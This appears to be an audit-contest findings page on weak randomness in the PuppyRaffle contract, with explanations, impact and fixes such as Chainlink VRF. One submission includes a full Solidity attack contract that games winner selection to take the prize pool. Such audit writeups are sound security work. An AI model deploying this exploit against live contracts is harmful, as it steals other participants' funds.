Using on-chain data (block.timestamp, blockhash, block.difficulty) as a source of randomness is predictable and manipulable. Miners/validators can influence these values.
Winner selection at PuppyRaffle.sol:128-129 uses keccak256(abi.encodePacked(msg.sender, block.timestamp, block.difficulty)) % players.length. Rarity at line 139 uses keccak256(abi.encodePacked(msg.sender, block.difficulty)) % 100. All inputs are known or controllable:
msg.sender is chosen by the attacker
block.timestamp is known at block inclusion time
block.difficulty (PREVRANDAO on PoS) is known at block inclusion time
An attacker can precompute the winner from multiple candidate addresses and only submit selectWinner() from the address that guarantees them as winner. They can also choose to get a LEGENDARY rarity NFT.
Likelihood:
Attack is trivially executable — only requires off-chain computation (no on-chain cost until winning tx)
With 4 players, ~25% chance per candidate address — winning address found in a few iterations
Impact:
Attacker can guarantee winning every raffle
NFT rarity system is meaningless — LEGENDARY is choosable
All other players' entrance fees are effectively stolen
Real-World Precedent:
Meebits (2021) — ~$700K: Predictable randomness in NFT trait generation allowed attackers to mint rare NFTs
How the attack works:
The attacker observes that selectWinner() is permissionless and uses msg.sender, block.timestamp, and block.difficulty — all known values — to determine the winner
Off-chain, the attacker iterates through candidate msg.sender addresses and computes the keccak256 hash for each, checking which address produces a winnerIndex pointing to their entry
The attacker submits selectWinner() only from the address that guarantees their win — this costs nothing until the winning transaction
The same technique applies to rarity: the attacker selects a msg.sender that also produces rarity >= 95 (LEGENDARY)
PoC code:
Expected outcome: The attacker correctly predicts the winning address by brute-forcing msg.sender, guaranteeing they win every raffle round and can choose LEGENDARY rarity NFTs.
The root cause is that all RNG inputs (msg.sender, block.timestamp, block.difficulty) are either directly controlled by the caller or publicly observable before block inclusion. Any on-chain data available at transaction execution time can be predicted by an attacker. The fix requires an external source of randomness that is committed after the request and cannot be influenced by any party.
Primary fix — Chainlink VRF v2+ (recommended):
Why this works:
Chainlink VRF generates randomness off-chain and delivers it via a callback. The randomness is cryptographically proven (verifiable) and committed after the request, so no party (including miners/validators) can predict or influence it.
The two-transaction pattern (request in selectWinner(), fulfillment in fulfillRandomWords()) means the winner is unknown at the time of calling selectWinner(), eliminating front-running.
Deriving rarity from the same VRF output via keccak256(abi.encode(randomness, "rarity")) ensures both winner and rarity are unpredictable.
Alternative — Commit-Reveal (cheaper, no oracle dependency):
Participants commit keccak256(secret) before the raffle ends, then reveal secret after. The XOR of all revealed secrets is used as entropy. This is cheaper than Chainlink VRF (~$0.25/request) but requires participant cooperation and is vulnerable if only one player participates in the reveal phase.
What NOT to use: block.timestamp, block.difficulty/prevrandao, blockhash, or any combination of on-chain data — these are all observable or manipulable.
## Description The randomness to select a winner can be gamed and an attacker can be chosen as winner without random element. ## Vulnerability Details Because all the variables to get a random winner on the contract are blockchain variables and are known, a malicious actor can use a smart contract to game the system and receive all funds and the NFT. ## Impact Critical ## POC ``` // SPDX-License-Identifier: No-License pragma solidity 0.7.6; interface IPuppyRaffle { function enterRaffle(address[] memory newPlayers) external payable; function getPlayersLength() external view returns (uint256); function selectWinner() external; } contract Attack { IPuppyRaffle raffle; constructor(address puppy) { raffle = IPuppyRaffle(puppy); } function attackRandomness() public { uint256 playersLength = raffle.getPlayersLength(); uint256 winnerIndex; uint256 toAdd = playersLength; while (true) { winnerIndex = uint256( keccak256( abi.encodePacked( address(this), block.timestamp, block.difficulty ) ) ) % toAdd; if (winnerIndex == playersLength) break; ++toAdd; } uint256 toLoop = toAdd - playersLength; address[] memory playersToAdd = new address[](toLoop); playersToAdd[0] = address(this); for (uint256 i = 1; i < toLoop; ++i) { playersToAdd[i] = address(i + 100); } uint256 valueToSend = 1e18 * toLoop; raffle.enterRaffle{value: valueToSend}(playersToAdd); raffle.selectWinner(); } receive() external payable {} function onERC721Received( address operator, address from, uint256 tokenId, bytes calldata data ) public returns (bytes4) { return this.onERC721Received.selector; } } ``` ## Recommendations Use Chainlink's VRF to generate a random number to select the winner. Patrick will be proud.
The contest is live. Earn rewards by submitting a finding.
Submissions are being reviewed by our AI judge. Results will be available in a few minutes.
View all submissionsThe contest is complete and the rewards are being distributed.